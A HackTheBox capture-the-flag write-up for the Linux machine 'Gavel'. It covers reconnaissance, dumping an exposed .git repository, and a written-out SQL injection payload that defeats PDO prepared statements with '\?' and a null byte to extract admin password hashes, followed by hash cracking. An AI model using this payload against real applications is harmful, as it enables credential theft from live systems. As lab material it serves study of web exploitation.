HackTheBox - Gavel Writeup

Difficulty: Medium
OS: Linux (Ubuntu)
Author: HTB


Summary

Gavel is a medium-difficulty Linux machine featuring an auction web application with multiple vulnerabilities. Initial access is achieved through SQL injection that bypasses PDO prepared statement protection, allowing extraction of admin credentials. After cracking the bcrypt hash, access to the admin panel enables Remote Code Execution via the runkit_function_add() PHP function. Privilege escalation involves exploiting a YAML injection vulnerability in a root-owned daemon process, bypassing PHP sandbox restrictions to obtain root access.


Reconnaissance

Nmap Scan

nmap -sC -sV -oN nmap/initial TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.52

Web Enumeration

Adding gavel.htb to /etc/hosts:

echo "TARGET_IP gavel.htb" >> /etc/hosts

Directory enumeration reveals an exposed .git repository:

gobuster dir -u http://gavel.htb -w /usr/share/wordlists/dirb/common.txt
/.git/HEAD            (Status: 200)
/admin.php            (Status: 302)
/assets               (Status: 301)
/index.php            (Status: 200)
/login.php            (Status: 200)

Git Repository Extraction

Using git-dumper to extract the exposed repository:

git-dumper http://gavel.htb/.git/ ./gavel-git
cd gavel-git
git checkout .

Source Code Analysis

Key Files Discovered:

File Purpose
inventory.php SQL Injection vulnerability
includes/bid_handler.php RCE via runkit_function_add()
admin.php Auction rule management (requires auctioneer role)
includes/config.php Database credentials: gavel:gavel

SQL Injection - PDO Bypass

Vulnerable Code (inventory.php)

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";

$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);

The Challenge

  • The sort parameter is wrapped in backticks with backticks stripped
  • The user_id parameter uses PDO prepared statements with ? placeholder
  • Traditional SQL injection appears blocked

The Bypass Technique

Payload:

http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00

URL Decoded:

user_id=x` FROM (SELECT group_concat(username,0x3a,password) AS `'x` FROM users)y;-- -
sort=\?;-- -%00

Why This Works

  1. \? breaks PDO parameter detection - PDO scans for ? placeholders before parsing MySQL syntax. The backslash causes PDO to treat \? as an escaped literal, miscounting parameters.

  2. %00 null byte - Causes C-level string truncation in the MySQL driver, breaking prepared statement binding.

  3. Parameter binding fails - The user_id value is no longer safely bound and gets interpreted as raw SQL.

  4. Subquery executes - Returns concatenated credentials displayed as inventory items.

Extracted Credentials

auctioneer:REDECUTED

Hash Cracking

echo 'REDECUTED' > hash.txt
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt